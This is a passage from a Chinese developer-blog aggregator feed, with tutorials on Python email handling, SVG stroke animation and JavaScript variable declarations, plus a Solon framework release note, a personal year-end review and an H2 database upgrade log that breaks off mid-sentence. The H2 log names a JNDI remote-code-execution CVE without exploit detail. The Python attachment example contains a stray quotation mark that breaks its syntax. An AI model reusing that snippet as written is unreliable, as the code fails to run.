示例代码:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(subject, body, sender, recipient, smtp_server, port, login, password):
    # 创建邮件对象
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = subject

    # 添加邮件内容
    msg.attach(MIMEText(body, 'plain'))

    # 连接 SMTP 服务器并发送邮件
    with smtplib.SMTP(smtp_server, port) as server:
        server.starttls()  # 启用加密传输
        server.login(login, password)
        server.sendmail(sender, recipient, msg.as_string())

# 示例调用
send_email(
    subject="测试邮件",
    body="这是使用 Python 发送的测试邮件。",
    sender="your_email@example.com",
    recipient="recipient@example.com",
    smtp_server="smtp.example.com",
    port=587,
    login="your_email@example.com",
    password="your_password"
)

2.2 发送带附件的邮件

可以通过 MIMEApplication 添加附件。

示例代码:
from email.mime.application import MIMEApplication

def send_email_with_attachment(subject, body, sender, recipient, smtp_server, port, login, password, file_path):
    # 创建邮件对象
    msg = MIMEMultipart()
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = subject

    # 添加邮件内容
    msg.attach(MIMEText(body, 'plain'))

    # 添加附件
    with open(file_path, 'rb') as f:
        part = MIMEApplication(f.read(), Name=file_path)
        part['Content-Disposition'] = f'attachment; filename="{file_path}"''
        msg.attach(part)

    # 连接 SMTP 服务器并发送邮件
    with smtplib.SMTP(smtp_server, port) as server:
        server.starttls()
        server.login(login, password)
        server.sendmail(sender, recipient, msg.as_string())

# 示例调用
send_email_with_attachment(
    subject="测试邮件",
    body="请查收附件。",
    sender="your_email@example.com",
    recipient="recipient@example.com",
    smtp_server="smtp.example.com",
    port=587,
    login="your_email@example.com",
    password="your_password",
    file_path="test_file.txt"
)

3. 接收和解析邮件

Python 的 imaplibemail 模块可以用来接收和解析邮件。

3.1 使用 imaplib 连接邮箱

示例代码:
import imaplib

def connect_to_mailbox(imap_server, email, password):
    mail = imaplib.IMAP4_SSL(imap_server)
    mail.login(email, password)
    return mail

# 示例调用
mail = connect_to_mailbox("imap.example.com", "your_email@example.com", "your_password")
mail.select('inbox')  # 选择收件箱

3.2 读取邮件

可以使用 imaplib 检索邮件,配合 email 模块解析邮件内容。

示例代码:
from email import message_from_bytes

def fetch_emails(mail):
    status, messages = mail.search(None, 'ALL')
    email_ids = messages[0].split()

    for email_id in email_ids:
        # 获取邮件数据
        status, msg_data = mail.fetch(email_id, '(RFC822)')
        for response_part in msg_data:
            if isinstance(response_part, tuple):
                msg = message_from_bytes(response_part[1])

                # 输出邮件基本信息
                print("From:", msg['From'])
                print("Subject:", msg['Subject'])
                print("Body:", msg.get_payload(decode=True).decode())

# 示例调用
fetch_emails(mail)

4. 常见问题及解决方案

4.1 登录失败

  • 检查用户名和密码是否正确。
  • 如果使用 Gmail 等邮箱,可能需要开启“允许不安全应用”或创建应用专用密码。

4.2 收发邮件超时

  • 确保 SMTP 和 IMAP 服务器地址及端口正确。
  • 检查网络连接。

4.3 邮件内容乱码

  • 确保邮件内容的编码设置正确,使用 utf-8 编码可以避免大多数乱码问题。

5. 总结

本文介绍了 Python 中如何发送和接收邮件,包括发送带附件的邮件和解析收件箱邮件的内容。通过 smtplibimaplib 的结合,可以实现邮件的完整处理。根据实际需求,可以扩展功能,例如添加 HTML 邮件支持或处理多媒体附件。

by 黎明怀羽 at January 25, 2025 04:22 AM

oschina news project

🔥 无耳科技 Solon v3.0.7 发布(2025 农历新年版)

Solon 框架!

Solon 框架由杭州无耳科技有限公司(下属 Noear 团队)开发并开源。是新一代,面向全场景的 Java 企业级应用开发框架。从零开始构建(非 java-ee 架构),有灵活的接口规范与开放生态

  • 追求: 更快、更小、更简单
  • 提倡: 克制、高效、开放、生态

项目仓库9个,模块200个左右,源码16万行左右,15000+次代码提交,有透明可预期的《版本发布与维护计划》,有社区交流和商业服务双重支持。

有什么特点(相对传统方案)?

特点 描述
更高的计算性价比 并发高 300%;内存省 50%
更快的开发效率 代码少;入门快;启动快 10 倍(调试快)
更好的生产与部署体验 打包小 90%
更大的兼容范围 非 java-ee 架构;同时支持 java8 ~ java23,graalvm native image

入门探索视频(用户录制):

最近更新了什么?

  • 添加 solon @BindProps 绑定属性注解,用于简化集合属性绑定及配置元信息APT生成
  • 添加 solon-flow Chain:meta 配置
  • 添加 solon-flow FlowEngine:unload 接口
  • 添加 solon-flow execute when 属性,方便做规则引擎应用
  • 添加 solon-cloud Cloud:Event 模型添加 meta(需要适配插件支持)
  • 添加 solon AppContext:beanPublish 用于替换 wrapPublish(旧名标为弃用)
  • 调整 solon SolonApp:classLoader() 返回类型为 AppClassLoader 方便 e-spi 开发
  • 调整 solon-flow start、end 节点不再支持 task 配置,只允许 execute 节点带任务(职责清晰些)
  • 调整 solon-flow execute 节点任务为空时,也触发驱动器的任务处理事件(可适用审批型场景)
  • 调整 solon-flow NodeType 缺省解析改为 execute(之前为 start)
  • 调整 Props::loadAddIfAbsent(String name) 为 loadAddIfAbsent(String uri),保持与 loadAdd(uri) 相同逻辑
  • 修复 solon-proxy 当 ASM 的代理方法超过 128 个时会超界的问题
  • 修复 solon-net-httputils 在空返回时 OkHttpResponseImpl:contentEncoding 会 nep 的问题
  • snack3 升为 3.2.125

项目架构图

项目仓库地址?

官网?

by 来源: 投稿 at January 25, 2025 03:55 AM

juejin career

2024:平稳而又愉快(迟到的年终总结)

距离大学毕业已经快十年了,脸上的稚嫩已经褪去,取而代之的是岁月抚摸的痕迹,回头看过去的2024年,不论是工作还是生活都算平稳,按照惯例还是要凑一篇文章来记录一下过去的一年,说来惭愧,本来在元旦前就应该完成的任务,硬是拖延到了过年前的最后一个工作日。

目标达成

先看看去年立的flag实现了没有。

目标达成是否达标
破局成功,铲除忧虑心态变好了,已经不忧虑了-
看更多的风景看到了Y
篮球技能更上一层楼比以前强了点Y

去年一年确实对自己的前途产生了疑惑,因为前景不明朗会比较担心,但总是担心也没有什么用,经过这一年不断得看风景不断得打篮球,我终于开悟了,生活不止眼前的苟且,还有诗和远方的田野。顺其自然,一切都是最好的安排,如果真的有天被裁员找不到工作了,拿着补偿的钱买一辆房车,开启环游中国的旅程,也是一种不错的体验。

image.png

工作

今年的工作整体还算平稳,具体表现为没有被裁员没有晋升没有涨薪-对就是这么平稳。公司本年度有1次裁员,但没有涉及我所在的部门,因为有离职的,直接把hc砍了就等于裁员了。所以没有被裁员也不能说自己工作表现好于其他同事。而对于晋升和涨薪,公司没有普调(据说连晋升涨薪都没有了),而且还变相降工资,每年的晋升名额大概只有10%,所以没有晋升也不能说明工作表现差于其他同事。我自我感觉在大部门我的工作表现在20%-30%范围,不算拔尖,但也算得上优秀(自信的微笑)。

对于这种现状说实话我是不太满意的,大的就业环境不乐观,互联网行业更是惨绝人寰,但个人和家庭的物质需求还是在不断上升,所以还是需要卷一卷,不能躺平。新的一年有机会还是要跳出这个舒适圈,去外面的世界看看,去迎接更多的可能。

技术方面在公司内领导其实是想让移动端更趋向于跨端开发,自己也参与了一点RN开发,如果顺势去深入研究RN,一方面能完成工作的指标,另一方面也能学习前端的技能,但时间和精力有限,个人还是比较想向鸿蒙发展,现在国产软件替代外国软件大势所趋,iOS开发已经慢慢枯竭,我再学一门鸿蒙双管齐下,对以后的进步会有帮助。正因为我的这个选择也错过了一些在领导面前表现的机会。不过路还长,等推行鸿蒙的时候还有机会的,我愿意再等一等。

旅游

月份地点备注
2月南京&扬州过年没有回老家,和岳父母一起出游
3月安阳&新乡殷商博物馆胖东来打卡
3月雄安考察新区
5月香港&澳门&广州五一小假期出游

可以看到上半年还是非常潇洒的,去了挺多地方,成功的实现了自己看很多风景的目标,至于下半年为什么没有继续出去浪,这里先卖个关子,在后文中揭晓答案。

image.png

生活

如前文说的,生活方面大体也很平稳,值得一提的是天气热的那会儿下班没啥事的时候到点就去打篮球了。这种生活让我成功结识了一群有趣的小伙伴,因为住得比较近除了打球也经常周末约其他活动。

1931737773183_.pic.jpg 和哥儿几个一起打球、桌游、吃吃喝喝是非常开心快乐的,能暂时忘记很多工作的琐事,调整好的心态,然后再重新投入工作。在此也感谢哥几个带给了我很多很多快乐也让我看到了不一样的生活开阔了我的眼界。

在一年的平稳生活中,其实也有个非常大的惊喜,这也是我下半年没有去外地旅游的原因。老婆怀孕了,是的我将要成为一名父亲了。这种角色的晋升带给我很多很多变化,最直接的是肩上的责任更重了,每天下班不能在公司卷不能去球场打球,需要回家先给老婆做饭。之前裁员买房车的计划也不能再幻想了,而且需要做很多很多准备,后期生产的事宜,家里需要来人,三代同居的思想准备等等等。但这一切的一切在我的手放在老婆肚子上小崽子踢腾一下我手的时候,都在告诉我这些都是值得的。

Flag

还是老样子努力做一个有目标感的人,给2025立几个flg

  • 掌握鸿蒙开发
  • 出去看看,尝试几次面试
  • 家庭生活让妻子、父母满意
  • 有时间锻炼身体,球技继续涨

by 王飞飞不会飞 at January 25, 2025 03:40 AM

juejin frontend

用svg打造个人签名

最近刚好在看svg相关的内容,然后逛到antfu大佬网站上的这个签名的效果

1.gif

看了下代码是用svg实现的,其实实现起来也不难,那么就搞一个吧

原理

其实就是利用svg中描边相关的两个属性

  • stroke-dasharray 用于控制间隙
  • stroke-dashoffset 用于控制线条的偏移

1.在figma中用钢笔工具随便画个东西 这里要注意的是要搭配动画使用需要钢笔工具所画的线是能够一笔构成的,这样svg中的path才不会出问题,这里先画个丑陋的苹果然后右键导出为svg

image.png 2.通过stroke-dasharray改变间隙,使得线段和间隙和整个路径的长度一样 给path添加上这个属性,可以来看看这个属性的效果

3.gif 3.利用stroke-dashoffset改变线段的偏移,把当前展示的第一段线挤出去

4.gif 4.那么从0出现的效果就很明显了,只需要改变stroke-dashoffset的值从线段长变成0,最后再加上animate的动画就ok了

    <style>
      #path {
        stroke-dasharray: 135;
        stroke-dashoffset: 135;
        animation: draw 5s ease;
      }
      @keyframes draw {
        0% {
          stroke-dashoffset: 135;
        }
        100% {
          stroke-dashoffset: 0;
        }
      }
    </style>
  </body>

更进一步

其实最麻烦的问题在于这个细节部分的实现,figma中钢笔工具画出的图只能是同一种粗细的线段,没办法形成这种类似写字的粗细变换和笔锋的效果

image.png

我想到的一个最简单的办法就是利用mask遮罩,找到一个最终想要的结果的svg图,然后对着这个svg去用钢笔工具画,然后做动画,这样在遮罩以外的线条部分不会被展现并且还能实现动画的效果。

举个例子 左边是我找的一个svg图,右边是我对着他用钢笔工具画出来的 image.png

 <svg
      width="54"
      height="41"
      viewBox="0 0 54 41"
      fill="none"
      xmlns="http://www.w3.org/2000/svg"
    >
      <defs>
        <mask id="mask">
          <g>
            <path
              d="M1.32733 22.3792C1.69973 22.1815 2.06414 21.7175 2.69722 20.9925C3.3303 20.2702 3.70272 19.7587 4.49008 18.7622C5.27744 17.763 5.73762 17.1355 6.63404 16.0045C7.53046 14.8735 8.05713 14.2408 8.97484 13.1125C9.89254 11.9815 10.3607 11.4278 11.2225 10.3548C12.087 9.28183 12.5499 8.72556 13.2893 7.7422C14.0288 6.76148 14.3347 6.27903 14.9226 5.44594C15.5105 4.61549 15.8935 4.28594 16.226 3.58467C16.5585 2.8834 16.641 2.46686 16.5824 1.93959C16.5266 1.41232 16.3377 1.14341 15.9414 0.950955C15.545 0.761138 15.1966 0.703139 14.6007 0.985229C14.0049 1.26468 13.6697 1.5705 12.9648 2.3535C12.2599 3.13649 11.8796 3.6954 11.0736 4.90285C10.2703 6.1103 9.7888 6.86693 8.94558 8.39338C8.10236 9.92247 7.63419 10.7951 6.85747 12.543C6.08341 14.2935 5.67377 15.2611 5.06729 17.1382C4.46081 19.0179 4.18949 20.0382 3.82241 21.939C3.45267 23.8398 3.34361 24.831 3.22391 26.6448C3.10687 28.4587 3.1042 29.3814 3.22922 31.008C3.35158 32.632 3.48724 33.4097 3.84634 34.7701C4.2081 36.1278 4.42357 36.7685 5.03005 37.7993C5.63653 38.8301 6.04086 39.2756 6.88408 39.9215C7.72464 40.5701 8.25929 40.7994 9.23551 41.0314C10.2117 41.2634 10.7757 41.2555 11.7705 41.0815C12.7653 40.9049 13.3053 40.6861 14.2071 40.1562C15.1115 39.6262 15.561 39.2413 16.2845 38.432C17.008 37.6226 17.3751 37.1006 17.8273 36.1094C18.2795 35.1155 18.4657 34.5249 18.5455 33.473C18.6253 32.4211 18.5322 31.8332 18.2316 30.8472C17.9311 29.8586 17.6464 29.3656 17.04 28.5378C16.4308 27.7073 16.0159 27.3092 15.1939 26.6976C14.372 26.0833 13.8054 25.8539 12.9276 25.4717C12.0525 25.0894 11.5657 24.8838 10.8129 24.7889C10.0601 24.694 9.59728 24.7757 9.15838 24.9998C8.72214 25.2212 8.54924 25.5244 8.62638 25.904C8.70086 26.2837 8.9243 26.6475 9.54408 26.8979C10.1639 27.151 10.6879 27.1668 11.7226 27.1589C12.7547 27.1537 13.3798 27.0535 14.7125 26.8663C16.0478 26.6818 16.8378 26.5552 18.3939 26.2309C19.9527 25.9067 20.8384 25.701 22.5009 25.2397C24.1634 24.7783 25.0652 24.5305 26.7117 23.9241C28.3583 23.3204 29.2201 22.9592 30.7363 22.2105C32.2552 21.4618 33.0053 21.0215 34.2981 20.1858C35.5908 19.3501 36.1707 18.8808 37.1974 18.0319C38.2242 17.183 38.6658 16.719 39.4319 15.9413C40.1953 15.1609 40.6927 14.7233 41.0252 14.1354C41.3577 13.5448 41.2832 13.1704 41.097 12.9938C40.9082 12.8172 40.5703 12.7882 40.0836 13.2548C39.5968 13.7215 39.3281 14.2619 38.6631 15.327C37.9981 16.3947 37.5406 17.1566 36.7586 18.5908C35.9765 20.025 35.5482 20.895 34.7582 22.5005C33.9682 24.1087 33.524 24.9892 32.8111 26.6264C32.0982 28.2609 31.7923 29.1652 31.1912 30.6811C30.5927 32.197 30.3027 32.9299 29.808 34.2059C29.3105 35.4819 29.0233 36.1199 28.7094 37.0584C28.3982 37.997 28.2864 38.4188 28.2412 38.8986C28.1987 39.3811 28.2971 39.4892 28.4966 39.4628C28.6961 39.4364 29.0259 39.3521 29.2387 38.7694C29.4542 38.1842 29.4036 37.6226 29.5659 36.5444C29.7255 35.4661 29.7761 34.7569 30.0421 33.3781C30.3081 31.9966 30.4863 31.1873 30.8932 29.6371C31.3002 28.0896 31.5263 27.2538 32.0716 25.6378C32.6169 24.0243 32.9361 23.1596 33.6197 21.5672C34.306 19.9722 34.6811 19.1629 35.4951 17.6707C36.309 16.1785 36.7479 15.4404 37.6896 14.1037C38.6285 12.7671 39.1818 12.0816 40.1979 10.9823C41.2114 9.88029 41.7514 9.38201 42.7675 8.59638C43.7836 7.81338 44.3422 7.46538 45.2732 7.06466C46.2016 6.66393 46.6538 6.60066 47.4145 6.59802C48.1779 6.59275 48.5131 6.70875 49.0823 7.04621C49.6489 7.38366 49.8697 7.59193 50.2581 8.28265C50.6464 8.97074 50.8246 9.42683 51.0268 10.4866C51.2316 11.5491 51.2955 12.2556 51.2742 13.5844C51.2556 14.9131 51.1279 15.6407 50.9257 17.1276C50.7262 18.6119 50.6092 19.4529 50.266 21.011C49.9256 22.569 49.6808 23.3942 49.2153 24.9207C48.7472 26.4445 48.4572 27.2328 47.9359 28.6353C47.4118 30.0352 47.1006 30.7734 46.6006 31.9281C46.1005 33.0802 45.5605 33.8553 45.4328 34.4036C45.3051 34.952 45.5898 35.1023 45.9622 34.6673C46.3346 34.2349 46.7602 33.3886 47.2948 32.2313C47.8295 31.0766 48.1141 30.3094 48.6328 28.8884C49.1541 27.4674 49.4255 26.6659 49.8936 25.1237C50.3618 23.5788 50.6118 22.743 50.9736 21.1665C51.3354 19.59 51.4657 18.749 51.7024 17.2383C51.9418 15.7277 52.0988 14.9974 52.1653 13.6134C52.2318 12.2293 52.2185 11.4911 52.0349 10.3153C51.8487 9.14211 51.7184 8.58847 51.2423 7.73693C50.7661 6.88802 50.4283 6.50312 49.6569 6.06812C48.8882 5.63048 48.3429 5.51976 47.3906 5.55403C46.4383 5.59094 45.9196 5.75966 44.8955 6.24475C43.8714 6.73248 43.3181 7.1332 42.2727 7.98475C41.2274 8.83892 40.6954 9.36092 39.6686 10.5104C38.6418 11.6598 38.0912 12.3585 37.1442 13.7294C36.1946 15.1003 35.7531 15.8516 34.9285 17.3675C34.1039 18.8834 33.7235 19.7033 33.0239 21.3115C32.3243 22.9223 31.9998 23.795 31.4279 25.4189C30.8533 27.0456 30.6219 27.8866 30.1591 29.4368C29.6989 30.9869 29.4861 31.791 29.1164 33.1672C28.7466 34.5434 28.5418 35.242 28.3104 36.3176C28.0763 37.3933 27.946 37.9179 27.9513 38.5506C27.9539 39.186 28.1056 39.3653 28.3317 39.4892C28.5578 39.6157 28.8078 39.6052 29.0738 39.1781C29.3425 38.7536 29.3744 38.3028 29.667 37.3616C29.9596 36.4178 30.1032 35.7534 30.5341 34.4669C30.9677 33.1777 31.2497 32.4369 31.8269 30.921C32.4015 29.4051 32.7021 28.5061 33.4149 26.8848C34.1252 25.2634 34.5667 24.3855 35.3833 22.8116C36.2026 21.2377 36.6601 20.3888 37.5034 19.0126C38.3439 17.6338 38.8865 16.9431 39.5914 15.9281C40.2963 14.9131 40.7432 14.5229 41.0279 13.9376C41.3125 13.3497 41.2007 13.094 41.0199 12.9991C40.8363 12.9015 40.5783 12.9964 40.1128 13.4552C39.65 13.9113 39.392 14.486 38.7057 15.2822C38.0167 16.081 37.639 16.5793 36.6787 17.4413C35.7211 18.3061 35.1546 18.7648 33.907 19.6005C32.6568 20.4362 31.9227 20.8765 30.4384 21.6173C28.9541 22.3608 28.1056 22.7167 26.483 23.3072C24.8577 23.8978 23.9639 24.1377 22.3174 24.5674C20.6682 24.9971 19.7851 25.1922 18.2449 25.4559C16.7048 25.7195 15.9121 25.8144 14.614 25.8882C13.3186 25.962 12.7095 25.8882 11.7625 25.8223C10.8156 25.7564 10.4245 25.5903 9.87658 25.5587C9.33128 25.5244 9.14774 25.5877 9.0307 25.6562C8.91632 25.7274 8.99345 25.7986 9.29935 25.9067C9.60525 26.0174 9.93243 26.0596 10.5628 26.2046C11.1933 26.3522 11.6641 26.3522 12.4541 26.6369C13.2441 26.919 13.7735 27.1141 14.513 27.6256C15.2498 28.137 15.6089 28.4824 16.1435 29.1916C16.6782 29.8981 16.9203 30.3252 17.1836 31.1662C17.4496 32.0046 17.5321 32.4923 17.4629 33.3913C17.3937 34.2903 17.2368 34.7991 16.8378 35.6612C16.4361 36.5259 16.1036 36.9978 15.4626 37.707C14.8242 38.4135 14.4172 38.7457 13.6378 39.2044C12.8584 39.6605 12.4009 39.8345 11.5683 39.9953C10.7331 40.1562 10.2889 40.1746 9.46693 40.0059C8.64499 39.8398 8.20077 39.6895 7.45597 39.1596C6.71383 38.6323 6.32813 38.287 5.74825 37.3695C5.16837 36.4521 4.92897 35.8589 4.55391 34.575C4.18151 33.2937 4.02457 32.5318 3.88093 30.9527C3.73463 29.3735 3.72398 28.4613 3.82772 26.6818C3.9288 24.8996 4.03256 23.9189 4.39166 22.0471C4.75076 20.1752 5.01675 19.1682 5.62589 17.3174C6.23503 15.4694 6.64468 14.515 7.4347 12.8014C8.22738 11.0877 8.70351 10.2256 9.58397 8.75193C10.4618 7.28084 10.9725 6.5453 11.8317 5.43803C12.6935 4.3334 13.1936 3.89576 13.8852 3.22086C14.5795 2.54331 14.9253 2.39568 15.2977 2.05823C15.6701 1.72077 15.6834 1.57314 15.7525 1.53096C15.8217 1.48877 15.7818 1.55204 15.6435 1.84995C15.5078 2.14786 15.3854 2.41413 15.0689 3.02313C14.7524 3.63213 14.5608 4.05394 14.0608 4.89758C13.5633 5.74121 13.2707 6.24212 12.5765 7.23602C11.8822 8.22729 11.4327 8.78356 10.5868 9.85919C9.74091 10.9322 9.27542 11.4858 8.34708 12.6063C7.4214 13.7267 6.87344 14.3489 5.95041 15.4588C5.02739 16.5687 4.54592 17.1803 3.7293 18.1532C2.91268 19.126 2.44718 19.561 1.8673 20.3281C1.28742 21.0953 0.933647 21.5804 0.824587 21.9891C0.715527 22.4003 0.952271 22.5796 1.32733 22.3792Z"
              fill="white"
              stroke="white"
            />
          </g>
        </mask>
      </defs>
      <path
        id="path"
        mask="url(#mask)"
        d="M1 22.0983L16 4.09834C16 4.09834 17.1436 2.9597 17 2.09834C16.9282 1.66766 16.8744 1.32298 16.5 1.09834C15.9705 0.780653 15.5457 1.30943 15 1.59834C14.0238 2.11515 13.7163 2.75749 13 3.59834C11.5234 5.33179 10 8.59834 10 8.59834L8 12.5983C8 12.5983 6.19563 16.7801 5.5 19.5983C4.88453 22.0918 4.66915 23.5356 4.5 26.0983C4.37139 28.0467 4.27829 29.1583 4.5 31.0983C4.70441 32.8869 4.67384 33.9989 5.5 35.5983C6.19988 36.9533 6.71525 37.7766 8 38.5983C9.04036 39.2637 9.77161 39.4713 11 39.5983C12.3734 39.7404 13.2131 39.5986 14.5 39.0983C16.4346 38.3463 17.6696 37.5007 18.5 35.5983C18.9752 34.5098 18.9116 33.7828 19 32.5983C19.0727 31.6247 19.2313 31.0468 19 30.0983C18.6664 28.7304 17.963 28.1256 17 27.0983C15.8512 25.8729 15.0685 25.1993 13.5 24.5983C12.7482 24.3103 12.3027 24.0366 11.5 24.0983C10.8843 24.1457 10.2761 24.0461 10 24.5983C9.62952 25.3393 10.7308 25.7907 11.5 26.0983C12.2252 26.3884 12.7198 26.1342 13.5 26.0983C16.2928 25.9699 17.7774 25.2337 20.5 24.5983C22.8521 24.0494 24.1944 23.8177 26.5 23.0983C29.0962 22.2883 30.5672 21.8142 33 20.5983C34.4082 19.8946 35.2374 19.5386 36.5 18.5983C38.9463 16.7766 39.1088 14.4918 41.5 12.5983C45.7534 9.23041 36.7626 19.6673 34.5 24.5983C32.2595 29.4812 30 37.5983 30 37.5983C30 37.5983 29.9366 38.5983 29.5 38.5983C29.0634 38.5983 29 37.5983 29 37.5983L33 24.5983C33 24.5983 34.5166 18.8058 36.5 15.5983C37.8152 13.4715 40.5 10.5983 40.5 10.5983C40.5 10.5983 41.9826 9.0317 43 8.09834C44.1238 7.06741 44.5911 6.18207 46 5.59834C46.9198 5.21724 47.5078 5.01536 48.5 5.09834C49.5479 5.18598 50.1973 5.41912 51 6.09834C51.9999 6.94443 52.1041 7.84974 52.5 9.09834C52.9173 10.4145 52.9595 11.2182 53 12.5983C53.0697 14.9728 52.4592 16.2677 52 18.5983C51.4964 21.1543 51.2799 22.6127 50.5 25.0983C49.3485 28.7681 48.4524 30.7845 46.5 34.0983"
        stroke="black"
        stroke-width="3"
        stroke-linecap="round"
      />
       <style>
      #path {
        stroke-dasharray: 245;
        stroke-dashoffset: 245;
        animation: draw 8s ease infinite;
      }
      @keyframes draw {
        /* 初始状态:完全隐藏 */
        0% {
          stroke-dasharray: 245px;
          stroke-dashoffset: 245px;
          opacity: 0;
        }
        /* 开始显示 */
        10% {
          opacity: 1;
        }
        /* 完全显示 */
        40% {
          stroke-dasharray: 245px;
          stroke-dashoffset: 0;
        }
        /* 保持显示 */
        85% {
          stroke-dasharray: 245px;
          stroke-dashoffset: 0;
        }
        /* 从末尾开始消失 */
        95%,
        to {
          stroke-dasharray: 245px;
          stroke-dashoffset: 245px;
        }
      }
    </style>

这是最终的效果,左边是遮罩mask,右边是最后的svg效果,虽然在线条绘制上由于粗细的问题会有一些瑕疵,但是这是一种比较简单的实现方式了。

5.gif

by 哲叠小哲 at January 25, 2025 03:33 AM

盘点JavaScript中所有声明变量的方式及特性

在JavaScript中,变量的定义是编程的基础,而JavaScript提供了多种灵活的方式来定义变量。本文将详细盘点JavaScript中所有变量定义的方式,包括传统的varletconst,以及通过thiswindowtop等对象定义变量的方式,并结合代码示例进行说明。

1737774528435.jpg


一、传统变量定义方式

var

  • 语法var variable_name[= initial_value];

  • 特性

    • 函数作用域或全局作用域。
    • 变量提升(Hoisting),但初始化保持在原位置。
    • 允许重复声明。

代码示例

console.log(a); // undefined
var a = 5;
console.log(a); // 5

var b = 10;
var b = 20; // 不会报错,变量被覆盖

let

  • 语法let variable_name[= initial_value];

  • 特性

    • 块级作用域。
    • 变量提升,但在声明之前无法访问(暂时性死区)。
    • 不允许重复声明。

代码示例

console.log(a); // ReferenceError: Cannot access 'a' before initialization
let a = 5;

if (true) {
    let b = 10;
    console.log(b); // 10
}
console.log(b); // ReferenceError: b is not defined

let c = 15;
let c = 20; // SyntaxError: Identifier 'c' has already been declared

const

  • 语法const variable_name = initial_value;

  • 特性

    • 块级作用域。
    • 变量提升,但在声明之前无法访问。
    • 不可重新赋值。
    • 对象和数组的内部属性或元素可修改。

代码示例

const a = 5;
a = 10; // TypeError: Assignment to constant variable.

const arr = [1, 2, 3];
arr.push(4); // 允许修改数组内容
console.log(arr); // [1, 2, 3, 4]

const obj = { name: 'Alice' };
obj.name = 'Bob'; // 允许修改对象的属性
console.log(obj); // { name: 'Bob' }

二、通过this定义变量

在JavaScript中,this关键字用于引用当前对象的上下文。在对象方法或构造函数中,this可以用来定义或访问对象的属性。

  • 在对象方法中
const person = {
    name: 'Alice',
    age: 25,
    greet: function() {
        console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
    }
};

person.greet(); // Hello, my name is Alice and I am 25 years old.

  • 在构造函数中
function Person(name, age) {
    this.name = name;
    this.age = age;
}

const alice = new Person('Alice', 25);
console.log(alice.name); // Alice
console.log(alice.age); // 25

三、通过window对象定义全局变量

在浏览器环境中,window对象代表浏览器窗口,并且是所有全局变量的容器。通过给window对象添加属性,可以定义全局变量。

  • 语法window.variable_name = value;

  • 特性

    • 定义的变量在整个页面范围内都可访问。
    • 可能会与页面上的其他脚本产生命名冲突。

代码示例

window.globalVar = 100;
console.log(globalVar); // 100

四、通过top对象定义跨框架/窗口的全局变量

在包含多个框架(如<iframe>)的页面中,top对象代表最顶层的窗口。通过top对象定义的变量可以在所有框架中访问。

  • 语法top.variable_name = value;

  • 特性

    • 定义的变量在所有框架中都可访问。
    • 需要谨慎使用,以避免跨框架的命名冲突和安全问题。

代码示例(假设页面包含多个框架):

// 在顶层窗口中定义变量
top.globalFrameVar = 200;

// 在子框架中访问变量
console.log(top.globalFrameVar); // 200

五、直接写变量赋值(隐式全局变量)

在非严格模式下,如果在函数体外直接给一个未声明的变量赋值,JavaScript会隐式地将其定义为全局变量。然而,这种做法是不推荐的,因为它会导致代码难以维护和理解。

  • 语法variable_name = value;(非严格模式下)

  • 特性

    • 定义的变量成为全局变量。
    • 隐式全局变量可能导致意外的命名冲突和bug。

代码示例(非严格模式):

implicitGlobal = 300;
console.log(window.implicitGlobal); // 300

注意:在严格模式(use strict)下,直接给未声明的变量赋值会抛出ReferenceError

六、总结与推荐

  • varletconst:推荐使用letconst来定义变量,因为它们提供了块级作用域和更严格的变量管理。var由于其作用域和提升行为,可能会导致一些难以追踪的错误。
  • this:在对象方法和构造函数中使用this来引用当前对象的上下文。
  • windowtop:在需要定义全局变量或跨框架访问变量时使用。但请谨慎使用,以避免命名冲突和安全问题。
  • 隐式全局变量:不推荐使用隐式全局变量,因为它们可能导致意外的命名冲突和bug。在严格模式下,这种做法会被禁止。

通过理解和正确使用这些变量定义方式,你可以编写出更健壮、更易于维护的JavaScript代码。希望本文对你在JavaScript编程中的变量定义有所帮助。

by 李游Leo at January 25, 2025 03:20 AM

juejin backend

h2 数据库从 1.x 版本升级到 2.x 版本排坑记录

背景

又是一次被漏洞追着升级的记录,排了一天升级的坑,照例是要记录一番的。漏扫到「H2 控制台 JNDI 远程代码执行漏洞(CVE-2021-42392)」,漏洞描述:

H2 是一个用 Java 编写的关系数据库管理系统。 H2 存在远程代码执行漏洞,该漏洞是由于 H2 控制台可以通过 JNDI 从远程服务器加载自定义类,攻击者可利用该漏洞在未授权的情况下,构造恶意请求,触发远程代码执行漏洞。

需要对 h2 进行升级,本文记录升级过程中的问题。

h2 的 2.x 版本和 1.x 版本相差有点大,主要有几个问题:

  1. h2 的版本选择,需要考虑 JDK 版本。
  2. v1.x 的数据库文件格式和 v2.x 的格式不兼容,必须走数据库文件的升级。
  3. v2.x 新增了很多关键字,旧版本能正常识别的字符可能是新版本的保留关键字。
  4. 包含 BLOB 类型的表,导入导出会出现数据超长问题,需要先舍弃再重新创建。

版本选择

本来想直接升到最新版本 2.3.232 ,启动发现 JDK 版本不兼容,这个版本是用 JDK11+ 编译的,而咱们的运行环境的 JDK 版本过低,所以保守选择漏洞范围外的最近版本 h2-2.0.206 。

梳理出来的升级方案:

  1. 用旧版本的 jar 执行旧版本数据库文件导出命令。
  2. 用新版本的 jar 执行新版本数据库导入命令,创建新版本的数据库文件。
  3. 停止旧版本的数据库进程。
  4. 用新版本启动数据库进程。

关键字排除

数据库导入/导出命令:

java -cp h2-1.4.197.jar org.h2.tools.Script -url "jdbc:h2:file:./my-data" -user $username -password $password -script backup.sql

java -cp h2-2.0.206.jar org.h2.tools.RunScript -url "jdbc:h2:file:./my-data-new" -user $username -password $password -script backup.sql

导入操作报了很多 expected "identifier";,根源是 H2 的 2.x 版本要求对保留的关键字使用双引号包围,还可以通过 jdbc url 配置 ;NON_KEYWORDS=KEYWORD1,KEYWORD2 对指定保留关键字进行排除。

对着 h2 1.x 版本导出的 SQL 文件,把所有可疑的关键字都摘出来后,调整导入语句如下:

java -cp h2-2.0.206.jar org.h2.tools.RunScript -url "jdbc:h2:file:./my-data-new;MODE=LEGACY;NON_KEYWORDS=USER,KEY,PATH,COMMAND,INTERVAL,VALUE,USERNAME,PASSWORD,UNIT,DAYTIME,HOUR" -user $username -password $password -script backup.sql

BLOB 表问题

排除关键字后,还有一个比较麻烦的问题。因为数据库中有一个表存储了应用上传的文件,导出 SQL 语句对它处理时创建了一个新表并为该表创建索引,这个语句导入会报错:

